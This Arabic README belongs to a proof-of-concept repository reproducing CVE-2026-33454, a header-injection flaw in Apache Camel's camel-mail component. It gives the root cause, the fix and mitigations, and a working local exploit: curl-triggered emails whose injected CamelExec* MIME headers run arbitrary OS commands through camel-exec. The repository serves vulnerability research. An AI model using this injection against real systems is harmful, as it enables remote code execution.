
أداة إعادة إنتاج لـ CVE-2026-33454: حقن الترويسات في Apache Camel camel-mail للوصول إلى RCE عبر camel-exec
يعرض هذا المشروع ثغرة حقن ترويسات رسائل Camel في مكوّن
camel-mail في Apache Camel، ويتم تتبعها باسم CVE-2026-33454. يمكن للمهاجم الذي يستطيع تسليم بريد إلكتروني إلى
صندوق بريد يراقبه مستهلك بريد Camel أن يحقن ترويسات تحكم Camel* في كائن Exchange،
محققًا تنفيذ تعليمات برمجية عن بُعد عندما يمرر المسار إلى مُنتِج حساس للترويسات مثل
camel-exec.
النشرة الأمنية: https://camel.apache.org/security/CVE-2026-33454.html
| الخاصية | القيمة |
|---|---|
| المكوّن | camel-mail |
| الفئة المتأثرة | org.apache.camel.component.mail.MailHeaderFilterStrategy (+ MailBinding.extractHeadersFromMail) |
| السبب الجذري | تضبط استراتيجية التصفية اتجاه OUT فقط (setOutFilterStartsWith) وليس اتجاه IN، لذلك لا تتم تصفية ترويسات MIME الواردة |
| CWE | CWE-20: التحقق غير السليم من المدخلات (حقن ترويسات رسائل Camel) |
| الأثر | تنفيذ تعليمات برمجية عن بُعد (عبر المُنتِجات الحساسة للترويسات، مثل camel-exec) |
| الإصدارات المتأثرة | من 3.0.0 إلى ما قبل 4.14.6، ومن 4.15.0 إلى ما قبل 4.18.1 |
| الإصدارات المُصلحة | 4.14.6، 4.18.1، 4.19.0 |
| JIRA | CAMEL-23222 |
| المُبلِّغ | Hyunwoo Kim (@v4bel) |
ترث MailHeaderFilterStrategy من DefaultHeaderFilterStrategy. في الإصدارات المتأثرة، يضبط مُنشئها
مرشح الإخراج (out) فقط ولا يضبط مرشح الإدخال (in) أبدًا:
// MailHeaderFilterStrategy - affected version (only the OUT direction is filtered)
public MailHeaderFilterStrategy() {
setOutFilterStartsWith(CAMEL_FILTER_STARTS_WITH); // OUT only
// no setInFilterStartsWith(...) -> inbound Camel* headers are NOT filtered
}
عندما يستهلك Camel البريد (مثل from("imap://...") أو from("pop3://..."))،
تنسخ MailBinding.extractHeadersFromMail() كل ترويسة MIME إلى ترويسات Exchange الواردة، بشرط أن يمررها
headerFilterStrategy.applyFilterToExternalHeaders(...). ولأن مرشح in لم يُضبط أبدًا،
فإن ترويسات MIME التي تبدأ بـ Camel* تمر مباشرة:
// MailBinding.extractHeadersFromMail() - the in-filter is not configured, so Camel* passes
Enumeration<?> names = mailMessage.getAllHeaders();
...
boolean keep = !headerFilterStrategy.applyFilterToExternalHeaders(headerName, value, exchange);
if (keep) { answer.put(headerName, value); }
لذلك يمكن للمهاجم الذي يستطيع مراسلة صندوق البريد المراقَب ضبط ترويسات تحكم Camel* عشوائية.
عندما يمرر المسار إلى مُنتِج حساس للترويسات مثل camel-exec، فإن ترويسات
CamelExecCommandExecutable / CamelExecCommandArgs تتجاوز الأمر (يُعمل بها افتراضيًا
في الإصدارات المتأثرة) → تنفيذ أوامر نظام التشغيل بشكل عشوائي.
from("imap://127.0.0.1:3143?username=victim&password=secret&delete=true&unseen=true")
.to("exec:echo?args=hello") // fixed, harmless command
.convertBodyTo(String.class);
توفر حاوية GreenMail خدمتي SMTP (3025) وIMAP (3143) مع صندوق بريد واحد
(تسجيل الدخول victim، كلمة المرور secret، العنوان victim@localhost):
docker compose up -d
# or:
docker run -d --name greenmail-cve -p 3025:3025 -p 3143:3143 \
-e GREENMAIL_OPTS='-Dgreenmail.setup.test.all -Dgreenmail.users=victim:secret@localhost -Dgreenmail.hostname=0.0.0.0 -Dgreenmail.auth.disabled -Dgreenmail.verbose' \
greenmail/standalone:2.1.0
mvn clean package -DskipTests
mvn spring-boot:run
يبدأ تشغيل مسار ضحية IMAP ووحدة تحكم REST مساعدة على المنفذ 8080.
curl http://localhost:8080/exploit/normal
يلتقط المستهلك الرسالة وينفّذ echo hello.
# default benign proof: touch /tmp/pwned
curl http://localhost:8080/exploit/attack
# or choose the executable/args:
curl "http://localhost:8080/exploit/attack?exe=/usr/bin/touch&args=/tmp/owned-by-mail"
يؤدي هذا إلى تسليم بريد إلكتروني تتضمن ترويسات MIME فيه:
CamelExecCommandExecutable: /usr/bin/touch
CamelExecCommandArgs: /tmp/pwned
# wait ~2s for the IMAP poll cycle, then:
ls -la /tmp/pwned
إذا وُجد /tmp/pwned، فقد تجاوز ترويسة MIME المُحقنة أمر exec → RCE.
docker compose down # or: docker rm -f greenmail-cve
لا يحتاج الحقن سوى مُنتِج حساس للترويسات في المصب. تشير النشرة الأمنية إلى camel-bean وcamel-exec وcamel-sql؛ وعلى نطاق أوسع:
CamelExecCommandExecutable / CamelExecCommandArgs → تنفيذ أوامر نظام التشغيلCamelFileName → كتابة ملفات عشوائية / تجاوز المسارCamelBeanMethodName → استدعاء طريقة مختلفةimap://, imaps://, pop3://, ...).removeHeaders("Camel*") بين مستهلك البريد وهذا المُنتِج.كل ما يحتاجه المهاجم هو القدرة على إرسال بريد إلكتروني إلى صندوق البريد المراقَب.
يضبط الإصلاح (CAMEL-23222) مرشح الاتجاه الوارد أيضًا:
public MailHeaderFilterStrategy() {
setOutFilterStartsWith(CAMEL_FILTER_STARTS_WITH);
String[] inFilter = Arrays.copyOf(CAMEL_FILTER_STARTS_WITH, CAMEL_FILTER_STARTS_WITH.length + 2);
inFilter[CAMEL_FILTER_STARTS_WITH.length] = "mail.smtp.";
inFilter[CAMEL_FILTER_STARTS_WITH.length + 1] = "mail.smtps.";
setInFilterStartsWith(inFilter); // now the inbound direction is filtered too
}
حتى الترقية:
.removeHeaders("Camel*") مباشرة بعد from("imap:...").CVE-2026-33454/
├── pom.xml
├── docker-compose.yml # GreenMail mail server (SMTP 3025 / IMAP 3143)
├── README.md
└── src/main/
├── java/com/example/
│ ├── Application.java # Spring Boot entry point
│ ├── MailExecRoute.java # the vulnerable victim route (imap -> exec)
│ └── ExploitController.java # attacker: delivers the malicious email via SMTP
└── resources/
└── application.properties
أداة إعادة الإنتاج هذه مُقدمة للبحث الأمني والاختبار المصرح به فقط، لثغرة تم الكشف عنها وإصلاحها علنًا. لا تستخدمها ضد أنظمة دون إذن صريح.